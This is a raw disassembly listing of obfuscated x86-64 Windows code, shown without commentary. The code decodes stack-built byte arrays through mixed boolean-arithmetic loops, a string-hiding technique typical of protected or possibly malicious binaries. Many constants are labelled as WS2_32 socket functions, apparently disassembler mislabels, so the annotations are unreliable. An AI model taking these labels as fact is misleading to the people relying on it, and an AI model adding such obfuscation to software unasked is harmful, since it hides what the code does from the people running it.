movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 7
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x200], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x44]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x24
add r10b, cl
mov byte [rbp + r11 + 0x200], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400788b3
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x7f
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x1400788b3
add r9b, 0x31
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x57
jmp 0x1400788b0
sub r9b, 0x49
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
dec dil
jmp 0x140078897
lea rcx, [rbp + 0x17874fc]
jmp 0x1400793dc
lea rcx, [rbp + 0x156ecb9]
jmp 0x1400793dc
lea rcx, [rbp + 0x200]
lea rdx, [0x1401feb81]
call fcn.140039a40
mov byte [rbp + 0x570], 0x59
mov byte [rbp + 0x571], 7
mov byte [rbp + 0x572], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x573], WSACleanup
mov byte [rbp + 0x574], 6
mov byte [rbp + 0x575], WSACleanup
mov byte [rbp + 0x576], 0xbc
mov byte [rbp + 0x577], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x578], recvfrom
mov byte [rbp + 0x579], 0x76
mov byte [rbp + 0x57a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x57b], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x57c], 0x77
mov byte [rbp + 0x57d], 0x19
mov byte [rbp + 0x57e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x57f], socket
mov byte [rbp + 0x580], reloc.WS2_32.dll_recv
mov byte [rbp + 0x581], 0x81
xor eax, eax
mov qword [rbp + 0x582], rax
mov dword [rbp + 0x58a], eax
mov word [rbp + 0x58e], ax
mov byte [rbp + 0x590], al
movabs rsi, 0x94389d8d1043d43
movabs r15, 0x40d8c4edb71dacd5
movabs r14, 0x1bca9d8a730cb7c9
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x21
jae 0x140079e7a
movzx r10d, byte [rbp + r11 + 0x570]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140079e71
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007950c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2b
jmp 0x140079546
je 0x140079e05
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079d78
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079d20
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140079cff
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140079cb8
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x140079e68
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007957a
lea ecx, [r9 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x79
jmp 0x1400795b0
je 0x140079ca0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079c7d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079c62
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140079c45
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400799ea
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400799cb
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400799a5
lea rcx, [r8 + 0x7a]
cmp rbx, rcx
je 0x14007997f
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140079960
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079943
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140079923
mov rbx, rcx
lea r8, [rcx + 0x200]
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x140079e4c
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x140079e2f
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x14007974a
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14007972f
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140079714
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x1400798d7
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14007988f
lea rcx, [r8 + 1]
cmp rbx, rcx
jb 0x140079853
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007982b
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400795c0
mov rbx, rcx
lea r8, [rcx + 0x61]
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x1400797fc
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x1400797df
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x1400797c0
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x1400797a3
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x140079786
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140079767
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x1400795c0
lea rbx, [r8 + 5]
lea r8, [rbx + 0x2a]
jmp 0x1400795c0
lea ecx, [r9 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x59
jmp 0x1400795b0
lea ecx, [r9 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
jmp 0x140079550
add r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x53
jmp 0x1400794e0
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079cd2
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140079d5c
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
jmp 0x140079d5f
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079d92
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
jmp 0x140079dbe
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x1400794c3
add r9b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4f
mov byte [rbp + r11 + 0x570], dil
inc r11
jmp 0x1400794c3
lea ecx, [r9 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5b
cmp r8, 0x41
jb 0x140079843
lea ecx, [r9 - 0x4e]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140079cd2
lea ecx, [r9 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
cmp rbx, 0x400
jae 0x140079c11
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x140079b56
lea ecx, [r9 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x140079869
lea ecx, [r9 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x140079c2f
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x140079abe
lea ecx, [r9 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3f
jmp 0x1400798a5
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140079d5f
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
jmp 0x140079d5c
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079d3a
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400794c3
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x1400794c3
lea edx, [r9 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079cd2
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140079a0e
lea ecx, [r9 + 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2b
jmp 0x1400798ed
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079a49
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x1400794c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079a6d
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140079d92
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140079a96
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140079d5f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400798ed
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140079d3a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079ae2
lea ecx, [r9 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
jmp 0x140079cd2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140079b08
sub r9b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x13
jmp 0x140079d5c
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140079b2c
lea ecx, [r9 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
jmp 0x140079d92
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400798a5
add r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x11
jmp 0x140079dbe
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140079b91
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x1400794c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140079bba
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140079dbe
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140079bde
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140079d3a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140079869
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400794c3
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140079d3a
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x32]
jmp 0x140079d92
sub r9b, 0x51
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x37
jmp 0x140079dbe
lea ecx, [r9 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1f
jmp 0x140079d92
add r9b, 0x11
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x77
dec r11
inc r11
jmp 0x1400794c3
lea ecx, [r9 + 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x23
jmp 0x140079cd2
movzx r9d, r11b
lea ecx, [r9 - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x31
sub r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x4d
add r10b, r9b
mov byte [rbp + r11 + 0x570], r10b
inc r8
dec r11
inc r11
jmp 0x1400794c3
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
dec r11
inc r11
jmp 0x1400794c3
movzx r9d, r11b
lea ecx, [r9 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
add r9b, 0x7b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x5d
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x570], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400794c3
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x2d
add dil, cl
movzx r9d, r11b
inc r9b
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 7
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x570], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x570], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x1400794c3
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x7f
movzx eax, byte [rbp + r11 + 0x570]
add rax, r8
add r11, rax
inc r11
jmp 0x1400794c3
sub r9b, 0x31
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x57
jmp 0x1400794c0
add r9b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc dil
jmp 0x1400794a5
lea rcx, [rbp + 0x1592e74]
jmp 0x140079e81
lea rcx, [rbp + 0x11d6bb7]
jmp 0x140079e81
lea rcx, [rbp + 0x570]
lea rdx, [0x14018535e]
call fcn.140039a40
mov byte [rbp + 0x5a0], WSASetLastError
mov byte [rbp + 0x5a1], reloc.WS2_32.dll_socket
mov byte [rbp + 0x5a2], 3
mov byte [rbp + 0x5a3], reloc.WS2_32.dll_listen
mov byte [rbp + 0x5a4], 6
mov byte [rbp + 0x5a5], 2
mov byte [rbp + 0x5a6], 0x48
mov byte [rbp + 0x5a7], 0x7f
mov byte [rbp + 0x5a8], 0x18
mov byte [rbp + 0x5a9], 6
mov byte [rbp + 0x5aa], 8
mov byte [rbp + 0x5ab], 0x1c
mov byte [rbp + 0x5ac], reloc.WS2_32.dll_socket
mov byte [rbp + 0x5ad], 5
mov byte [rbp + 0x5ae], 0x1f
mov byte [rbp + 0x5af], 6
mov byte [rbp + 0x5b0], 4
mov byte [rbp + 0x5b1], 0x55
mov byte [rbp + 0x5b2], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5b3], 0xa
mov byte [rbp + 0x5b4], recvfrom
mov byte [rbp + 0x5b5], 0xb9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5b6], xmm0
mov word [rbp + 0x5c6], ax
mov byte [rbp + 0x5c8], al
movabs r14, 0x92c8a62502153545
movabs r12, 0x37c8b030e9474e3
movabs r15, 0xb859f26f063f9fcf
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x29
jae 0x14007aaf2
movzx r9d, byte [rbp + r11 + 0x5a0]
mov esi, r9d
nop dword [rax]
cmp rbx, r11
ja 0x14007aae9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140079fbc
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x1d
jmp 0x140079fe9
je 0x14007aa7a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007a9ed
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007a991
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007a96f
movzx r10d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14007aae0
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x14007a01a
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
jmp 0x14007a041
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007a928
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007a905
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007a8d6
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007a5d2
nop
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007a5b6
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007a590
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007a56d
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007a551
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007a531
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007a514
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007a4f5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007a4d5
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007a4a3
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007a050
lea rbx, [r8 + 5]
lea r8, [rbx + 4]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007aac3
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007aaa6
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007a23b
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007a21c
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007a1fd
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007a452
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007a3f2
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007a3b2
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007a38a
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007a050
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007a358
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007a338
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007a319
lea rcx, [r8 + 4]
cmp rbx, rcx
ja 0x14007a2fc
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007a2dc
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007a2c0
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007a29d
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007a277
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007a25b
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007a050
mov rbx, rcx
lea r8, [rcx + 0x28]
jmp 0x14007a050
lea edx, [r10 + 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x41
add dil, dl
jmp 0x14007a041
lea edx, [r10 - 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7b
add dil, dl
jmp 0x140079ff0
add r10b, 0x63
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4b
add dil, r10b
jmp 0x140079f90
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007a93f
sub r10b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
inc r8
dec r11
inc r11
jmp 0x140079f76
add r10b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
dec r11
inc r11
jmp 0x140079f76
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007a9ac
add r10b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a9d1
sub r10b, 0x6a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1a
jmp 0x14007a9d4
lea edx, [r10 + 0xc]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x54
add dil, dl
jmp 0x14007aa06
sub r10b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007aa33
sub r10b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079f76
sub r10b, 0x61
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x59
mov byte [rbp + r11 + 0x5a0], dil
inc r11
jmp 0x140079f76
lea edx, [r10 + 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6d
add dil, dl
cmp r8, 0x40
jb 0x14007a3a2
lea edx, [r10 + 0x7e]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007a942
lea edx, [r10 - 0x75]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x33
add dil, dl
cmp rbx, 1
jae 0x14007a898
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a7d0
sub r10b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079f76
lea edx, [r10 + 1]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 7
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x14007a8ba
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14007a6d2
lea edx, [r10 + 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x17
jmp 0x14007a409
sub r10b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079f76
add r10b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007aa33
lea edx, [r10 - 0x1e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2e
add dil, dl
jmp 0x14007aa06
add r10b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x14007a9d4
sub r10b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a9d1
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007a9ac
sub r10b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
dec r11
inc r11
jmp 0x140079f76
add r10b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140079f76
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007a93f
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14007a5f7
lea edx, [r10 + 0x45]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1d
jmp 0x14007a469
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a62f
add r10b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3e
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079f76
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007a655
add r10b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x56
jmp 0x14007a9d1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a67a
lea edx, [r10 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1c
jmp 0x14007a9ac
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007a6a9
sub r10b, 0x72
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140079f76
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007a46c
lea edx, [r10 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
jmp 0x14007a93f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a6f7
lea edx, [r10 - 5]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x23
jmp 0x14007a93f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007a723
add r10b, 0xf
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x69
dec r11
inc r11
jmp 0x140079f76
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a748
lea edx, [r10 - 0x67]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2f
jmp 0x14007a9ac
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007a76e
add r10b, 0x23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xb
jmp 0x14007a9d1
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007a794
sub r10b, 0x53
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x45
jmp 0x14007a9d4
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007a40c
add r10b, 0x4b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
